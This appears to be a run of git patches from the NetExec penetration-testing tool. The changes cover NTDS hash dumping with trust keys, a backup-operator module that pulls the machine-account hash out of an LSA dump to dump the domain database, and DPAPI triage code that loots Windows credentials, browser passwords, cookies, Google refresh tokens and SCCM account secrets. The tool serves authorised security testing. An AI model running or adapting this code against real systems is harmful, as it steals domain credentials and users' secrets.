NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") + if self.args.kerberos_keys: + self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack From 9860c5fded306e3209a9f0f83030fb597d56b5eb Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sat, 18 Jul 2026 14:07:51 +0200 Subject: [PATCH 108/397] Fix trust key lines disappearing with --enabled Trust key lines never contain "Enabled"/"Disabled" (they have no account status), so the --enabled filter silently dropped them entirely. Detect trust key lines and always show them regardless of --enabled. --- nxc/protocols/smb.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index fbf446d8b9..8447c0c8b4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2494,12 +2494,19 @@ def add_hash(secret_type, secret, host_id): # trust key lines (e.g. "partner (Incoming):rc4_hmac:hash") also contain spaces # but have no status suffix, so only strip the last word when it's actually a status. has_status = secret.rsplit(" ", 1)[-1] in ("Enabled", "Disabled") + # Trust keys have no enabled/disabled account status to filter on, so they're + # shown regardless of --enabled, except previous-password keys which are the + # trust equivalent of history and get excluded like --enabled excludes those. + is_trust_key = " (Incoming" in secret or " (Outgoing" in secret + is_current_trust_key = is_trust_key and ", previous)" not in secret # Log the secret based on args if self.args.enabled: if "Enabled" in secret: secret = " ".join(secret.split(" ")[:-1]) self.logger.highlight(secret) + elif is_current_trust_key: + self.logger.highlight(secret) else: secret = " ".join(secret.split(" ")[:-1]) if has_status else secret self.logger.highlight(secret) From 77f6ab4f855c4cc40d2050bbd75fa00c8ffd084d Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sat, 18 Jul 2026 20:04:25 +0200 Subject: [PATCH 109/397] Add e2e tests and update --enabled help text for trust keys --- nxc/protocols/smb/proto_args.py | 2 +- tests/e2e_commands.txt | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 996076a74b..f660d80174 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -38,7 +38,7 @@ def proto_args(parser, parents): # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") exclusive = cred_gathering_group.add_mutually_exclusive_group() - enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") + enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit), and current trust keys") kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 99ff30c4d1..06aa1eb9de 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -32,6 +32,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm From e79cf358454acd7dece44c73ca3432dd1cc4062b Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 18 Jul 2026 21:11:10 +0200 Subject: [PATCH 110/397] refactor a little bit --- nxc/modules/backup_operator.py | 49 +++++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 15 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3002e209dd..857f6d4298 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,4 +1,5 @@ import contextlib +import re from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -72,13 +73,16 @@ def parse_sam(secret): def parse_lsa(secret_type, secret): context.log.highlight(secret) + if self.machine_account: + return for line in secret.splitlines(): - if "aad3b" in line.lower() and len(line.split(":")) >= 3: - fields = line.split(":") - account_name = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] - if account_name.endswith("$"): - self.machine_account = account_name - self.machine_account_hash = fields[2] + match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE) + if match: + self.machine_account_hash = match.group(1) + account_name = line.split(":", 1)[0].strip().split("\\")[-1] + # "$MACHINE.ACC" has no real name -> derive it from the connection. + self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$" + return local_operations = LocalOperations(log_path + "SYSTEM") boot_key = local_operations.getBootKey() @@ -92,12 +96,16 @@ def parse_lsa(secret_type, secret): except Exception as e: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") - # Attempt NTDS dump with DC Machine Account - if self._try_dump_ntds(connection, context, self.machine_account, self.machine_account_hash): + dump_creds = None + for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]: + if self._try_dump_ntds(connection, context, username, user_hash): + dump_creds = (username, user_hash) + break + + if dump_creds: self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context) if not self.cleanup_user or not self.cleanup_hash: - self.cleanup_user = self.machine_account - self.cleanup_hash = self.machine_account_hash + self.cleanup_user, self.cleanup_hash = dump_creds self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix) else: @@ -105,6 +113,8 @@ def parse_lsa(secret_type, secret): self._print_cleanup_warning(context, rand_suffix) def _try_dump_ntds(self, connection, context, username, user_hash): + if not username or not user_hash: + return False with contextlib.suppress(Exception): connection.conn.logoff() connection.create_conn_obj() @@ -118,6 +128,9 @@ def _try_dump_ntds(self, connection, context, username, user_hash): return False def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix): + if not username or not user_hash: + self._print_cleanup_warning(context, rand_suffix) + return context.log.display(f"Using {username} to clean up files...") with contextlib.suppress(Exception): connection.conn.logoff() @@ -164,12 +177,18 @@ def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix def _extract_da_hash(self, output_filename, context): try: with open(f"{output_filename}.ntds") as f: - first_line = f.readline().strip() - if first_line: - fields = first_line.split(":") - if len(fields) >= 4: - da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] + fallback = None + for line in f: + fields = line.strip().split(":") + if len(fields) < 4 or not fields[3]: + continue + da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] + if fields[1] == "500": return da_user, fields[3] + if fallback is None: + fallback = (da_user, fields[3]) + if fallback: + return fallback except Exception as e: context.log.debug(f"Failed to read NTDS file for cleanup: {e}") return None, None From 6139fe5edc85b2c4ddc02087cb003a36e6b6ad07 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 21 Jul 2026 19:01:10 +0200 Subject: [PATCH 111/397] Update proto_args.py Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- nxc/protocols/ldap/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 0be11599f0..f0aaa817d1 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -8,7 +8,7 @@ def proto_args(parser, parents): dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)") ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port") - ldap_parser.add_argument("--ldap-timeout", type=int, default=10, help="LDAP connection timeout") + ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout") ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos") From ae57a98ec9ba830d6a52456a9f20c016bbb8076d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 21 Jul 2026 13:13:00 -0400 Subject: [PATCH 112/397] Exclude timeout errors by impacket from error messages --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 1b53d7f8c2..386565cb3a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -123,7 +123,7 @@ def create_conn_obj(self): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT) or "timed out" in str(e): self.logger.info(f"Error connecting to {self.host}: {e}") return False else: From 1256a81215dc9a824463224544fd23b8d0b4fcf3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 21 Jul 2026 13:20:23 -0400 Subject: [PATCH 113/397] Linting --- tests/test_smb_database.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index 3afc2828a5..8d00f09109 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -260,7 +260,8 @@ def test_remove_loggedin_relations(): def test_get_keys_returns_empty_for_smb(db): """Protocols without key support (like SMB) must return an empty list. - This also verifies the BaseDB default doesn't raise AttributeError.""" + This also verifies the BaseDB default doesn't raise AttributeError. + """ keys = db.get_keys() assert keys == [] assert isinstance(keys, list) @@ -275,7 +276,8 @@ def test_get_keys_all_and_by_id_fallback(db): def test_write_list_empty_entries(tmp_path): """write_list with empty entries truncates the file and writes nothing. This is why the keys export must guard against empty keys — see the - check in DatabaseNavigator.do_export for the 'keys' command.""" + check in DatabaseNavigator.do_export for the 'keys' command. + """ from nxc.nxcdb import write_list test_file = tmp_path / "test_export.txt" @@ -292,7 +294,8 @@ def test_do_export_keys_empty_guard(db, tmp_path): """R2 regression: do_export('keys all ') must NOT truncate the target file when the protocol returns no keys (e.g., SMB). Removing the empty-key guard in do_export would leave all other tests passing - while restoring false success and file truncation.""" + while restoring false success and file truncation. + """ import io test_file = tmp_path / "keys_export.txt" @@ -326,4 +329,3 @@ class MockMainMenu: assert "[-] No keys found" in output # Success message must NOT appear assert "[+] Keys exported" not in output - From db422c71b2a171580f5576254eaa699c141ea95e Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 12:04:30 +0200 Subject: [PATCH 114/397] update smb proto --- nxc/helpers/dpapi.py | 313 ++++++++++++++++++++++ nxc/{protocols/smb => helpers}/firefox.py | 29 +- nxc/protocols/smb.py | 212 ++------------- nxc/protocols/smb/dpapi.py | 100 ------- nxc/protocols/smb/proto_args.py | 2 +- 5 files changed, 348 insertions(+), 308 deletions(-) create mode 100644 nxc/helpers/dpapi.py rename nxc/{protocols/smb => helpers}/firefox.py (92%) delete mode 100644 nxc/protocols/smb/dpapi.py diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py new file mode 100644 index 0000000000..a90ec41d1b --- /dev/null +++ b/nxc/helpers/dpapi.py @@ -0,0 +1,313 @@ +from typing import List + +from dploot.lib.network import DPLootConnection +from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection +from dploot.lib.target import Target +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie +from dploot.triage.cng import CngTriage +from dploot.triage.credentials import CredentialsTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection +from dploot.triage.vaults import VaultsTriage + +from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage + +def get_domain_backup_key(context): + pvkbytes = None + try: + results = context.db.get_domain_backupkey(context.domain) + except Exception as e: + print(e) + context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif context.no_da is None and context.args.local_auth is False: + try: + dc_target = SMBTarget.create( + domain=context.domain, + username=context.username, + password=context.password, + address=context.domain, # querying DNS server for domain will return DC + lmhash=context.lmhash, + nthash=context.nthash, + do_kerberos=context.kerberos, + aesKey=context.aesKey, + no_pass=True, + use_kcache=context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + context.db.add_domain_backupkey(context.domain, pvkbytes) + else: + context.no_da = False + except Exception as e: + context.logger.fail(f"Could not get domain backupkey: {e}") + return pvkbytes + +def collect_masterkeys_from_target(context, target, dploot_connection, user=True, dpapi_system_key=None): + masterkeys = [] + plaintexts = {} + nthashes = {} + if context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(context.args.mkfile) + except Exception as e: + context.logger.fail(str(e)) + if user: + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + # dploot matches user.lower() + if context.password != "": + plaintexts[context.username.lower()] = context.password + if context.nthash != "": + nthashes[context.username.lower()] = context.nthash + + # Collect User and Machine masterkeys + try: + context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=dploot_connection, + pvkbytes=context.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem=dpapi_system_key, + ) + context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + if user: + context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + if dpapi_system_key is not None: + context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + except Exception as e: + context.logger.debug(f"Could not get masterkeys: {e}") + + return masterkeys + +def upgrade_to_dploot_connection(target, context=None, protocol:str="smb"): + conn = None + try: + match protocol: + case "smb": + from dploot.lib.network.smb import DPLootSMBConnection + conn = DPLootSMBConnection(target) + if context is not None: + conn.smb_session = context.conn + else: + conn.connect() + case "wmi": + from dploot.lib.network.wmi import DPLootWMIConnection + conn = DPLootWMIConnection(target) + if context is not None: + conn.dcom = context.dcom_conn + conn.iWbemLevel1Login = context.iWbemLevel1Login + else: + conn.connect() + case "winrm": + from dploot.lib.network.winrm import WINRMTarget + case "mssql": + from dploot.lib.network.mssql import MSSQLTarget + except Exception as e: + print(e) + return None + + return conn + +class DPAPITriage: + def __init__(self, context, target:Target, conn:DPLootConnection, dump_cookies:bool=False): + self.context = context + self.target = target + self.conn = conn + + self.dump_cookies = dump_cookies + + def triage_credentials(self, masterkeys: List[Masterkey]): + # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): + tag = "CREDENTIAL" + line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + self.context.db.add_dpapi_secrets( + self.target.address, + tag, + credential.winuser, + credential.username, + credential.password, + credential.target, + ) + + try: + credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback) + self.context.logger.debug(f"Credentials Triage Object: {credentials_triage}") + credentials_triage.triage_credentials() + credentials_triage.triage_system_credentials() + except Exception as e: + self.context.logger.debug(f"Error while looting credentials: {e}") + + def triage_chromium(self, masterkeys: List[Masterkey]): + cng_chromekey = None + try: + cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys) + for cng_file in cng_triage.triage_system_cng(): + if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": + self.context.logger.debug("Found CNG Google ChromeKey1\n") + cng_chromekey = cng_file.decrypted_private_key + except Exception as e: + self.context.logger.debug(f"Error while getting CNG ChromeKey1: {e}") + + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + self.context.db.add_dpapi_secrets( + self.target.address, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, GoogleRefreshToken): + line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + self.context.db.add_dpapi_secrets( + self.target.address, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, + "Google Refresh Token", + ) + elif isinstance(secret, Cookie): + line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + + try: + browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) + except Exception as e: + self.context.logger.debug(f"Error while looting browsers: {e}") + + def triage_vaults(self, masterkeys: List[Masterkey]): + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + self.context.db.add_dpapi_secrets( + self.target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, + ) + + try: + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() + except Exception as e: + self.context.logger.debug(f"Error while looting vaults: {e}") + + def triage_firefox(self): + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + self.context.db.add_dpapi_secrets( + self.target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" + self.context.logger.highlight(line) + if self.context.output_file: + self.context.output_file.write(line + "\n") + + try: + # Collect Firefox stored secrets + firefox_triage = FirefoxTriage(target=self.target, logger=self.context.logger, conn=self.conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=self.dump_cookies) + except Exception as e: + self.logger.debug(f"Error while looting firefox: {e}") + + def triage(self, masterkeys: List[Masterkey]): + self.triage_credentials(masterkeys) + self.triage_chromium(masterkeys) + self.triage_vaults(masterkeys) + self.triage_firefox() + + def triage_sccm(self, masterkeys: List[Masterkey]): + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + self.context.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.context.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + self.context.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.context.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + self.context.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.context.db.add_dpapi_secrets( + self.target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) + try: + sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm() + except Exception as e: + self.logger.debug(f"Error while looting sccm: {e}") \ No newline at end of file diff --git a/nxc/protocols/smb/firefox.py b/nxc/helpers/firefox.py similarity index 92% rename from nxc/protocols/smb/firefox.py rename to nxc/helpers/firefox.py index d490abb757..584c6fe108 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/helpers/firefox.py @@ -11,9 +11,8 @@ from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder -from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.network import DPLootConnection -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -61,7 +60,7 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): + def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn @@ -69,16 +68,13 @@ def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_ self.per_secret_callback = per_secret_callback def run(self, gather_cookies=False): - if self.conn is None: - upgrade_to_dploot_connection(target=self.target) - firefox_data = [] firefox_cookies = [] # list users - users = self.get_users() + users = self.conn.list_users() for user in users: try: - directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) + directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user)) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue @@ -89,18 +85,18 @@ def run(self, gather_cookies=False): try: if gather_cookies: cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") - cookies_data = self.conn.readFile(self.share, cookies_path) + cookies_data = self.conn.read_file(path=cookies_path, share=self.share) if cookies_data is not None: firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" - logins_data = self.conn.readFile(self.share, logins_path) + logins_data = self.conn.read_file(path=logins_path, share=self.share) if logins_data is None: continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path) + key4_data = self.conn.read_file(path=key4_path, share=self.share) if key4_data is None: continue # Get all available master keys (Firefox 144+ may have multiple keys) @@ -252,17 +248,6 @@ def is_master_password_correct(self, key_data, master_password=b""): self.logger.debug(e) return "", "", "" - def get_users(self): - users = [] - - users_dir_path = "Users\\*" - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability - return users - @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dbf342c7c6..c3aa222122 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -58,8 +58,6 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection -from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC @@ -72,17 +70,13 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh +from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage from nxc.helpers.rpc import NXCRPCConnection from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution -from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie -from dploot.triage.credentials import CredentialsTriage -from dploot.triage.cng import CngTriage -from dploot.lib.target import Target -from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection +from dploot.lib.network.smb import SMBTarget as Target from time import time, ctime, sleep from traceback import format_exc @@ -135,6 +129,7 @@ def __init__(self, args, db, host): self.nthash = "" self.remote_ops = None self.bootkey = None + self.dpapi_system_key = None self.smbv1 = None # Check if SMBv1 is supported self.smbv3 = None # Check if SMBv3 is supported self.is_timed_out = False @@ -2160,7 +2155,7 @@ def sccm(self): domain=self.domain, username=self.username, password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, + address=self.hostname + "." + self.domain if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -2169,12 +2164,17 @@ def sccm(self): use_kcache=self.use_kcache, ) - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + conn = upgrade_to_dploot_connection(context=self, target=target, protocol="smb") if conn is None: self.logger.debug("Could not upgrade connection") return - masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) + if self.dpapi_system_key is None: + # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump + # if not already dumped + self.lsa() + + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False, dpapi_system_key=self.dpapi_system_key) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") @@ -2182,49 +2182,13 @@ def sccm(self): self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") - def sccm_callback(secret): - if isinstance(secret, SCCMCred): - tag = "NAA Account" - self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - secret.username.decode("latin-1"), - secret.password.decode("latin-1"), - "N/A", - ) - elif isinstance(secret, SCCMSecret): - tag = "Task sequences secret" - self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - "N/A", - secret.secret.decode("latin-1"), - "N/A", - ) - elif isinstance(secret, SCCMCollection): - tag = "Collection Variable" - self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") - self.db.add_dpapi_secrets( - target.address, - f"SCCM - {tag}", - "SYSTEM", - secret.variable.decode("latin-1"), - secret.value.decode("latin-1"), - "N/A", - ) - try: - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) - sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) - except Exception as e: - self.logger.debug(f"Error while looting sccm: {e}") + dpapi_triage = DPAPITriage(self, target, conn) + dpapi_triage.triage_sccm(masterkeys) @requires_admin def dpapi(self): dump_system = "nosystem" not in self.args.dpapi + self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 if self.args.pvk is not None: try: @@ -2240,7 +2204,7 @@ def dpapi(self): domain=self.domain, username=self.username, password=self.password, - target=self.remoteName, + address=self.remoteName, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -2249,14 +2213,17 @@ def dpapi(self): use_kcache=self.use_kcache, ) - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - - conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + conn = upgrade_to_dploot_connection(context=self, target=target, protocol="smb") if conn is None: self.logger.debug("Could not upgrade connection") return - masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) + if dump_system and self.dpapi_system_key is None: + # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump + # if not already dumped + 